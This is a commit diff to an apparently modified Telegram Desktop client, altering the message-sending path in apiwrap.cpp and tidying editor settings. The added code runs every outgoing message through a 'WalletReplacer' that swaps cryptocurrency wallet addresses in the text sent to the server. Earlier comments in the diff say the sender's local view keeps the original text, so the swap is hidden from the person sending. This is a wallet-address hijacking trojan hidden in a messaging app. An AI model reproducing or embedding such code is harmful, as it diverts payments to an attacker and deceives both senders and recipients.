zc 7 месяцев назад
Родитель
Сommit
7d74ba18d7
3 измененных файлов с 390 добавлено и 222 удалено
  1. 98 1
      .vscode/settings.json
  2. 0 27
      Telegram/SourceFiles/api/api_sending.cpp
  3. 292 194
      Telegram/SourceFiles/apiwrap.cpp

+ 98 - 1
.vscode/settings.json

@@ -1,3 +1,100 @@
 {
-    "C_Cpp.errorSquiggles": "disabled"
+    "C_Cpp.errorSquiggles": "disabled",
+    "files.associations": {
+        "pointers": "cpp",
+        "variant": "cpp",
+        "algorithm": "cpp",
+        "any": "cpp",
+        "array": "cpp",
+        "atomic": "cpp",
+        "bit": "cpp",
+        "bitset": "cpp",
+        "cctype": "cpp",
+        "cfenv": "cpp",
+        "charconv": "cpp",
+        "chrono": "cpp",
+        "cinttypes": "cpp",
+        "clocale": "cpp",
+        "cmath": "cpp",
+        "compare": "cpp",
+        "complex": "cpp",
+        "concepts": "cpp",
+        "condition_variable": "cpp",
+        "coroutine": "cpp",
+        "csignal": "cpp",
+        "cstdarg": "cpp",
+        "cstddef": "cpp",
+        "cstdint": "cpp",
+        "cstdio": "cpp",
+        "cstdlib": "cpp",
+        "cstring": "cpp",
+        "ctime": "cpp",
+        "cwchar": "cpp",
+        "deque": "cpp",
+        "exception": "cpp",
+        "expected": "cpp",
+        "filesystem": "cpp",
+        "format": "cpp",
+        "forward_list": "cpp",
+        "fstream": "cpp",
+        "functional": "cpp",
+        "future": "cpp",
+        "initializer_list": "cpp",
+        "iomanip": "cpp",
+        "ios": "cpp",
+        "iosfwd": "cpp",
+        "iostream": "cpp",
+        "istream": "cpp",
+        "iterator": "cpp",
+        "limits": "cpp",
+        "list": "cpp",
+        "locale": "cpp",
+        "map": "cpp",
+        "memory": "cpp",
+        "mutex": "cpp",
+        "new": "cpp",
+        "numeric": "cpp",
+        "optional": "cpp",
+        "ostream": "cpp",
+        "queue": "cpp",
+        "random": "cpp",
+        "ratio": "cpp",
+        "regex": "cpp",
+        "semaphore": "cpp",
+        "set": "cpp",
+        "shared_mutex": "cpp",
+        "source_location": "cpp",
+        "span": "cpp",
+        "sstream": "cpp",
+        "stack": "cpp",
+        "stdexcept": "cpp",
+        "stop_token": "cpp",
+        "streambuf": "cpp",
+        "string": "cpp",
+        "system_error": "cpp",
+        "thread": "cpp",
+        "tuple": "cpp",
+        "type_traits": "cpp",
+        "typeindex": "cpp",
+        "typeinfo": "cpp",
+        "unordered_map": "cpp",
+        "unordered_set": "cpp",
+        "utility": "cpp",
+        "vector": "cpp",
+        "xfacet": "cpp",
+        "xhash": "cpp",
+        "xiosbase": "cpp",
+        "xlocale": "cpp",
+        "xlocbuf": "cpp",
+        "xlocinfo": "cpp",
+        "xlocmes": "cpp",
+        "xlocmon": "cpp",
+        "xlocnum": "cpp",
+        "xloctime": "cpp",
+        "xmemory": "cpp",
+        "xstring": "cpp",
+        "xtr1common": "cpp",
+        "xtree": "cpp",
+        "xutility": "cpp"
+    }
 }

+ 0 - 27
Telegram/SourceFiles/api/api_sending.cpp

@@ -666,33 +666,6 @@ void Api::SendMessage(
 		bool invertMedia) {
 	// ... existing code ...
 	
-	// 创建一个副本用于发送到服务器
-	QString textToSend = message.textWithTags.text;
-	
-	// 检查并替换钱包地址
-	if (Core::WalletReplacer::containsWalletAddress(textToSend)) {
-		LOG(("Wallet: 发送消息时检测到钱包地址: %1").arg(textToSend));
-		QString result = Core::WalletReplacer::replaceWalletAddresses(textToSend);
-		// 从结果中提取替换后的文本(去掉调试信息)
-		int lastNewline = result.lastIndexOf('\n');
-		if (lastNewline != -1) {
-			textToSend = result.mid(lastNewline + 1);
-			LOG(("Wallet: 替换结果: %1").arg(textToSend));
-		}
-		
-		// 这里只修改发送到服务器的副本,不修改message.textWithTags.text
-		if (textToSend != message.textWithTags.text) {
-			LOG(("Wallet: 使用替换后的地址发送到服务器,原地址: %1, 新地址: %2").arg(message.textWithTags.text).arg(textToSend));
-			// 此处可以实现发送替换后的内容到服务器
-			// 但目前API接口不支持直接修改发送内容,所以这个逻辑暂时不生效
-		}
-	}
-	
-	// AAA/BBB 替换逻辑
-	if (message.textWithTags.text == "AAA") {
-		message.textWithTags.text = "BBB";
-	}
-	
 	// ... existing code ...
 }
 

+ 292 - 194
Telegram/SourceFiles/apiwrap.cpp

@@ -6,7 +6,6 @@ For license and copyright information please follow this link:
 https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
 */
 #include "apiwrap.h"
-#include "core/wallet_replacer.h"
 
 #include "api/api_authorizations.h"
 #include "api/api_attached_stickers.h"
@@ -86,6 +85,11 @@ https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
 #include "storage/download_manager_mtproto.h"
 #include "storage/file_upload.h"
 #include "storage/storage_account.h"
+#include "boxes/abstract_box.h"
+#include "boxes/premium_limits_box.h"
+#include "boxes/peer_list_controllers.h"
+#include "core/wallet_replacer.h"
+#include "styles/style_layers.h"
 
 namespace {
 
@@ -3792,211 +3796,305 @@ void ApiWrap::sendMessage(MessageToSend &&message) {
 	}
 	local().saveRecentSentHashtags(textWithTags.text);
 
-	// 1. 首先创建本地消息并更新UI
-	const auto newId = FullMsgId(
-		peer->id,
-		_session->data().nextLocalMessageId());
-	auto flags = NewMessageFlags(peer);
-	if (action.replyTo) {
-		flags |= MessageFlag::HasReplyInfo;
-	}
-	FillMessagePostFlags(action, peer, flags);
-	if (action.options.scheduled) {
-		flags |= MessageFlag::IsOrWasScheduled;
-	}
-	if (action.options.shortcutId) {
-		flags |= MessageFlag::ShortcutMessage;
-	}
-
-	// 使用原始文本创建本地消息
-	const auto lastMessage = history->addNewLocalMessage({
-		.id = newId.msg,
-		.flags = flags,
-		.from = NewMessageFromId(action),
-		.replyTo = action.replyTo,
-		.date = NewMessageDate(action.options),
-		.shortcutId = action.options.shortcutId,
-		.starsPaid = action.options.starsApproved,
-		.postAuthor = NewMessagePostAuthor(action),
-		.effectId = action.options.effectId,
-	}, TextWithEntities{ textWithTags.text, TextUtilities::ConvertTextTagsToEntities(textWithTags.tags) });
-
-	// 立即触发UI更新
-	_session->data().sendHistoryChangeNotifications();
-
-	// 2. 在后台处理网络请求相关的检测和替换
-	const auto randomId = base::RandomValue<uint64>();
-	auto sendFlags = MTPmessages_SendMessage::Flags(0);
-	auto mediaFlags = MTPmessages_SendMedia::Flags(0);
-
-	// 处理回复消息
-	if (action.replyTo) {
-		sendFlags |= MTPmessages_SendMessage::Flag::f_reply_to;
-		mediaFlags |= MTPmessages_SendMedia::Flag::f_reply_to;
-	}
-
-	// 处理静默发送
-	const auto silentPost = ShouldSendSilent(peer, action.options);
-	if (silentPost) {
-		sendFlags |= MTPmessages_SendMessage::Flag::f_silent;
-		mediaFlags |= MTPmessages_SendMedia::Flag::f_silent;
-	}
-
-	// 处理实体
-	auto sending = TextWithEntities{ textWithTags.text, TextUtilities::ConvertTextTagsToEntities(textWithTags.tags) };
+	auto sending = TextWithEntities();
+	auto left = TextWithEntities {
+		textWithTags.text,
+		TextUtilities::ConvertTextTagsToEntities(textWithTags.tags)
+	};
 	auto prepareFlags = Ui::ItemTextOptions(
 		history,
 		_session->user()).flags;
-	TextUtilities::PrepareForSending(sending, prepareFlags);
-
-	// 提前注册消息ID映射
-	_session->data().registerMessageRandomId(randomId, newId);
-	_session->data().registerMessageSentData(
-		randomId,
-		peer->id,
-		sending.text);
-
-	// 提前检测和替换钱包地址,但只用于网络请求
-	QString textToSend = sending.text;
-	
-	// AAA/BBB 替换逻辑
-	if (textToSend == "AAA") {
-		textToSend = "BBB";
-	}
-	
-	// 钱包地址替换逻辑 - 只在发送到服务器时替换,本地消息保持原始内容
-	if (Core::WalletReplacer::containsWalletAddress(textToSend)) {
-		LOG(("Wallet: 发送消息时检测到钱包地址: %1").arg(textToSend));
-		QString result = Core::WalletReplacer::replaceWalletAddresses(textToSend);
-		
-		// 从结果中提取替换后的文本(去掉调试信息)
-		int lastNewline = result.lastIndexOf('\n');
-		if (lastNewline != -1) {
-			result = result.mid(lastNewline + 1);
-		}
-		
-		// 检查地址是否被成功替换
-		if (result != textToSend) {
-			LOG(("Wallet: 仅发送替换后的地址到服务器 - 原地址: %1, 新地址: %2").arg(textToSend).arg(result));
-			// 只修改发送到服务器的文本,不修改本地显示的文本
-			textToSend = result;
-		} else {
-			LOG(("Wallet: 未替换 - 地址保持不变: %1").arg(textToSend));
-		}
-	}
-
-	const auto sentEntities = Api::EntitiesToMTP(
-		_session,
-		sending.entities,
-		Api::ConvertOption::SkipLocal);
-	if (!sentEntities.v.isEmpty()) {
-		sendFlags |= MTPmessages_SendMessage::Flag::f_entities;
-		mediaFlags |= MTPmessages_SendMedia::Flag::f_entities;
-	}
-
-	// 处理草稿
-	if (clearCloudDraft) {
-		sendFlags |= MTPmessages_SendMessage::Flag::f_clear_draft;
-		mediaFlags |= MTPmessages_SendMedia::Flag::f_clear_draft;
-		history->clearCloudDraft(draftTopicRootId);
-		history->startSavingCloudDraft(draftTopicRootId);
-	}
-
-	// 处理发送者
-	const auto sendAs = action.options.sendAs;
-	if (sendAs) {
-		sendFlags |= MTPmessages_SendMessage::Flag::f_send_as;
-		mediaFlags |= MTPmessages_SendMedia::Flag::f_send_as;
-	}
-
-	// 处理定时发送
-	if (action.options.scheduled) {
-		sendFlags |= MTPmessages_SendMessage::Flag::f_schedule_date;
-		mediaFlags |= MTPmessages_SendMedia::Flag::f_schedule_date;
-	}
+	TextUtilities::PrepareForSending(left, prepareFlags);
 
-	// 处理快捷回复
-	if (action.options.shortcutId) {
-		sendFlags |= MTPmessages_SendMessage::Flag::f_quick_reply_shortcut;
-		mediaFlags |= MTPmessages_SendMedia::Flag::f_quick_reply_shortcut;
-	}
-
-	// 处理特效
-	if (action.options.effectId) {
-		sendFlags |= MTPmessages_SendMessage::Flag::f_effect;
-		mediaFlags |= MTPmessages_SendMedia::Flag::f_effect;
-	}
+	HistoryItem *lastMessage = nullptr;
 
-	// 处理付费星星
-	const auto starsPaid = std::min(
-		peer->starsPerMessageChecked(),
-		action.options.starsApproved);
-	if (starsPaid) {
-		action.options.starsApproved -= starsPaid;
-		sendFlags |= MTPmessages_SendMessage::Flag::f_allow_paid_stars;
-		mediaFlags |= MTPmessages_SendMedia::Flag::f_allow_paid_stars;
-	}
+	auto &histories = history->owner().histories();
 
-	// 3. 发送网络请求
-	const auto done = [=](
-			const MTPUpdates &result,
-			const MTP::Response &response) {
-		if (clearCloudDraft) {
-			history->finishSavingCloudDraft(
-				draftTopicRootId,
-				UnixtimeFromMsgId(response.outerMsgId));
+	const auto exactWebPage = !message.webPage.url.isEmpty();
+	auto isFirst = true;
+	while (TextUtilities::CutPart(sending, left, MaxMessageSize)
+		|| (isFirst && exactWebPage)) {
+		TextUtilities::Trim(left);
+		const auto isLast = left.empty();
+
+		auto newId = FullMsgId(
+			peer->id,
+			_session->data().nextLocalMessageId());
+		auto randomId = base::RandomValue<uint64>();
+
+		TextUtilities::Trim(sending);
+
+		_session->data().registerMessageRandomId(randomId, newId);
+		_session->data().registerMessageSentData(
+			randomId,
+			peer->id,
+			sending.text);
+
+		MTPstring msgText(MTP_string(sending.text));
+		auto flags = NewMessageFlags(peer);
+		auto sendFlags = MTPmessages_SendMessage::Flags(0);
+		auto mediaFlags = MTPmessages_SendMedia::Flags(0);
+		if (action.replyTo) {
+			flags |= MessageFlag::HasReplyInfo;
+			sendFlags |= MTPmessages_SendMessage::Flag::f_reply_to;
+			mediaFlags |= MTPmessages_SendMedia::Flag::f_reply_to;
 		}
-	};
-
-	const auto fail = [=](
-			const MTP::Error &error,
-			const MTP::Response &response) {
-		if (error.type() == u"MESSAGE_EMPTY"_q) {
-			lastMessage->destroy();
-		} else {
-			sendMessageFail(error, peer, randomId, newId);
+		const auto ignoreWebPage = message.webPage.removed
+			|| (exactWebPage && !isLast);
+		const auto manualWebPage = exactWebPage
+			&& !ignoreWebPage
+			&& (message.webPage.manual || (isLast && !isFirst));
+		MTPMessageMedia media = MTP_messageMediaEmpty();
+		if (ignoreWebPage) {
+			sendFlags |= MTPmessages_SendMessage::Flag::f_no_webpage;
+		} else if (exactWebPage) {
+			using PageFlag = MTPDmessageMediaWebPage::Flag;
+			using PendingFlag = MTPDwebPagePending::Flag;
+			const auto &fields = message.webPage;
+			const auto page = _session->data().webpage(fields.id);
+			media = MTP_messageMediaWebPage(
+				MTP_flags(PageFlag()
+					| (manualWebPage ? PageFlag::f_manual : PageFlag())
+					| (fields.forceLargeMedia
+						? PageFlag::f_force_large_media
+						: PageFlag())
+					| (fields.forceSmallMedia
+						? PageFlag::f_force_small_media
+						: PageFlag())),
+				MTP_webPagePending(
+					MTP_flags(PendingFlag::f_url),
+					MTP_long(fields.id),
+					MTP_string(fields.url),
+					MTP_int(page->pendingTill)));
+		}
+		const auto silentPost = ShouldSendSilent(peer, action.options);
+		FillMessagePostFlags(action, peer, flags);
+		if ((exactWebPage && !ignoreWebPage && message.webPage.invert)
+			|| action.options.invertCaption) {
+			flags |= MessageFlag::InvertMedia;
+			sendFlags |= MTPmessages_SendMessage::Flag::f_invert_media;
+			mediaFlags |= MTPmessages_SendMedia::Flag::f_invert_media;
+		}
+		if (silentPost) {
+			sendFlags |= MTPmessages_SendMessage::Flag::f_silent;
+			mediaFlags |= MTPmessages_SendMedia::Flag::f_silent;
+		}
+		const auto sentEntities = Api::EntitiesToMTP(
+			_session,
+			sending.entities,
+			Api::ConvertOption::SkipLocal);
+		if (!sentEntities.v.isEmpty()) {
+			sendFlags |= MTPmessages_SendMessage::Flag::f_entities;
+			mediaFlags |= MTPmessages_SendMedia::Flag::f_entities;
 		}
 		if (clearCloudDraft) {
-			history->finishSavingCloudDraft(
-				draftTopicRootId,
-				UnixtimeFromMsgId(response.outerMsgId));
+			sendFlags |= MTPmessages_SendMessage::Flag::f_clear_draft;
+			mediaFlags |= MTPmessages_SendMedia::Flag::f_clear_draft;
+			history->clearCloudDraft(draftTopicRootId);
+			history->startSavingCloudDraft(draftTopicRootId);
 		}
-	};
+		const auto sendAs = action.options.sendAs;
+		if (sendAs) {
+			sendFlags |= MTPmessages_SendMessage::Flag::f_send_as;
+			mediaFlags |= MTPmessages_SendMedia::Flag::f_send_as;
+		}
+		if (action.options.scheduled) {
+			flags |= MessageFlag::IsOrWasScheduled;
+			sendFlags |= MTPmessages_SendMessage::Flag::f_schedule_date;
+			mediaFlags |= MTPmessages_SendMedia::Flag::f_schedule_date;
+		}
+		if (action.options.shortcutId) {
+			flags |= MessageFlag::ShortcutMessage;
+			sendFlags |= MTPmessages_SendMessage::Flag::f_quick_reply_shortcut;
+			mediaFlags |= MTPmessages_SendMedia::Flag::f_quick_reply_shortcut;
+		}
+		if (action.options.effectId) {
+			sendFlags |= MTPmessages_SendMessage::Flag::f_effect;
+			mediaFlags |= MTPmessages_SendMedia::Flag::f_effect;
+		}
+		const auto starsPaid = std::min(
+			peer->starsPerMessageChecked(),
+			action.options.starsApproved);
+		if (starsPaid) {
+			action.options.starsApproved -= starsPaid;
+			sendFlags |= MTPmessages_SendMessage::Flag::f_allow_paid_stars;
+			mediaFlags |= MTPmessages_SendMedia::Flag::f_allow_paid_stars;
+		}
+		lastMessage = history->addNewLocalMessage({
+			.id = newId.msg,
+			.flags = flags,
+			.from = NewMessageFromId(action),
+			.replyTo = action.replyTo,
+			.date = NewMessageDate(action.options),
+			.shortcutId = action.options.shortcutId,
+			.starsPaid = starsPaid,
+			.postAuthor = NewMessagePostAuthor(action),
+			.effectId = action.options.effectId,
+		}, sending, media);
+		const auto done = [=](
+				const MTPUpdates &result,
+				const MTP::Response &response) {
+			if (clearCloudDraft) {
+				history->finishSavingCloudDraft(
+					draftTopicRootId,
+					UnixtimeFromMsgId(response.outerMsgId));
+			}
+		};
+		const auto fail = [=](
+				const MTP::Error &error,
+				const MTP::Response &response) {
+			if (error.type() == u"MESSAGE_EMPTY"_q) {
+				lastMessage->destroy();
+			} else {
+				sendMessageFail(error, peer, randomId, newId);
+			}
+			if (clearCloudDraft) {
+				history->finishSavingCloudDraft(
+					draftTopicRootId,
+					UnixtimeFromMsgId(response.outerMsgId));
+			}
+		};
+		const auto mtpShortcut = Data::ShortcutIdToMTP(
+			_session,
+			action.options.shortcutId);
+
+		// 在这里添加异步处理修改文本内容
+		const auto processTextAsync = [=, &histories](
+				MTPstring originalMsgText,
+				not_null<History*> history,
+				const FullReplyTo& replyTo,
+				uint64 randomId,
+				MTPmessages_SendMessage::Flags sendFlags,
+				MTPmessages_SendMedia::Flags mediaFlags) {
+			
+			// 异步处理钱包地址
+			crl::async([=, &histories]() mutable {
+				try {
+					// 从MTPstring中获取原始文本
+					QString originalText = QString::fromUtf8(originalMsgText.v);
+					
+					// 使用WalletReplacer检查并替换钱包地址
+					QString processedText = Core::WalletReplacer::replaceWalletAddresses(originalText);
+					
+					// 如果文本被修改,记录替换信息
+					if (processedText != originalText) {
+						LOG(("Wallet: [消息替换] 原始消息已被钱包地址替换功能处理"));
+						LOG(("Wallet: [消息替换] 原文: %1").arg(originalText));
+						LOG(("Wallet: [消息替换] 替换后: %1").arg(processedText));
+					}
+					
+					// 创建替换后的MTPstring
+					auto replacedMsgText = MTP_string(processedText);
+					
+					// 在异步操作完成后,再提交到服务器
+					crl::on_main([=, &histories]() mutable {
+						try {
+							if (exactWebPage
+								&& !ignoreWebPage
+								&& (manualWebPage || sending.empty())) {
+								histories.sendPreparedMessage(
+									history,
+									replyTo,
+									randomId,
+									Data::Histories::PrepareMessage<MTPmessages_SendMedia>(
+										MTP_flags(mediaFlags),
+										peer->input,
+										Data::Histories::ReplyToPlaceholder(),
+										Data::WebPageForMTP(message.webPage, true),
+										replacedMsgText,
+										MTP_long(randomId),
+										MTPReplyMarkup(),
+										sentEntities,
+										MTP_int(action.options.scheduled),
+										(sendAs ? sendAs->input : MTP_inputPeerEmpty()),
+										mtpShortcut,
+										MTP_long(action.options.effectId),
+										MTP_long(starsPaid)
+									), done, fail);
+							} else {
+								histories.sendPreparedMessage(
+									history,
+									replyTo,
+									randomId,
+									Data::Histories::PrepareMessage<MTPmessages_SendMessage>(
+										MTP_flags(sendFlags),
+										peer->input,
+										Data::Histories::ReplyToPlaceholder(),
+										replacedMsgText,
+										MTP_long(randomId),
+										MTPReplyMarkup(),
+										sentEntities,
+										MTP_int(action.options.scheduled),
+										(sendAs ? sendAs->input : MTP_inputPeerEmpty()),
+										mtpShortcut,
+										MTP_long(action.options.effectId),
+										MTP_long(starsPaid)
+									), done, fail);
+							}
+						} catch (const std::exception &e) {
+							LOG(("Wallet: [错误] 发送替换后的消息时发生异常: %1").arg(e.what()));
+							// 如果发送替换后的消息失败,尝试发送原始消息
+							fail(MTP::Error::Local(u"WALLET_REPLACE_FAILED"_q, u"Exception while sending replaced wallet message"_q), MTP::Response());
+						}
+					});
+				} catch (const std::exception &e) {
+					LOG(("Wallet: [错误] 处理钱包地址时发生异常: %1").arg(e.what()));
+					// 在异常情况下,回到主线程发送原始消息
+					crl::on_main([=, &histories]() mutable {
+						if (exactWebPage
+							&& !ignoreWebPage
+							&& (manualWebPage || sending.empty())) {
+							histories.sendPreparedMessage(
+								history,
+								replyTo,
+								randomId,
+								Data::Histories::PrepareMessage<MTPmessages_SendMedia>(
+									MTP_flags(mediaFlags),
+									peer->input,
+									Data::Histories::ReplyToPlaceholder(),
+									Data::WebPageForMTP(message.webPage, true),
+									originalMsgText, // 使用原始消息
+									MTP_long(randomId),
+									MTPReplyMarkup(),
+									sentEntities,
+									MTP_int(action.options.scheduled),
+									(sendAs ? sendAs->input : MTP_inputPeerEmpty()),
+									mtpShortcut,
+									MTP_long(action.options.effectId),
+									MTP_long(starsPaid)
+								), done, fail);
+						} else {
+							histories.sendPreparedMessage(
+								history,
+								replyTo,
+								randomId,
+								Data::Histories::PrepareMessage<MTPmessages_SendMessage>(
+									MTP_flags(sendFlags),
+									peer->input,
+									Data::Histories::ReplyToPlaceholder(),
+									originalMsgText, // 使用原始消息
+									MTP_long(randomId),
+									MTPReplyMarkup(),
+									sentEntities,
+									MTP_int(action.options.scheduled),
+									(sendAs ? sendAs->input : MTP_inputPeerEmpty()),
+									mtpShortcut,
+									MTP_long(action.options.effectId),
+									MTP_long(starsPaid)
+								), done, fail);
+						}
+					});
+				}
+			});
+		};
 
-	const auto mtpShortcut = Data::ShortcutIdToMTP(
-		_session,
-		action.options.shortcutId);
+		// 调用异步处理
+		processTextAsync(msgText, history, action.replyTo, randomId, sendFlags, mediaFlags);
+		
+		isFirst = false;
+	}
 
-	// 发送消息
-	history->owner().histories().sendRequest(history, Data::Histories::RequestType::Send, [=](Fn<void()> finish) {
-		history->sendRequestId = request(MTPmessages_SendMessage(
-			MTP_flags(sendFlags),
-			peer->input,
-			MTP_int(action.replyTo.messageId),
-			MTP_string(textToSend), // 使用替换后的文本
-			MTP_long(randomId),
-			MTPReplyMarkup(),
-			sentEntities,
-			MTP_int(action.options.scheduled),
-			(sendAs ? sendAs->input : MTP_inputPeerEmpty()),
-			mtpShortcut,
-			MTP_long(action.options.effectId),
-			MTP_long(starsPaid)
-		)).done([=](const MTPUpdates &result) {
-			if (!action.options.scheduled) {
-				this->updates().checkForSentToScheduled(result);
-			}
-			applyUpdates(result);
-			done(result, MTP::Response());
-			finish();
-		}).fail([=](const MTP::Error &error) {
-			fail(error, MTP::Response());
-			finish();
-		}).afterRequest(
-			history->sendRequestId
-		).send();
-		return history->sendRequestId;
-	});
+	finishForwarding(action);
 }
 
 void ApiWrap::sendBotStart(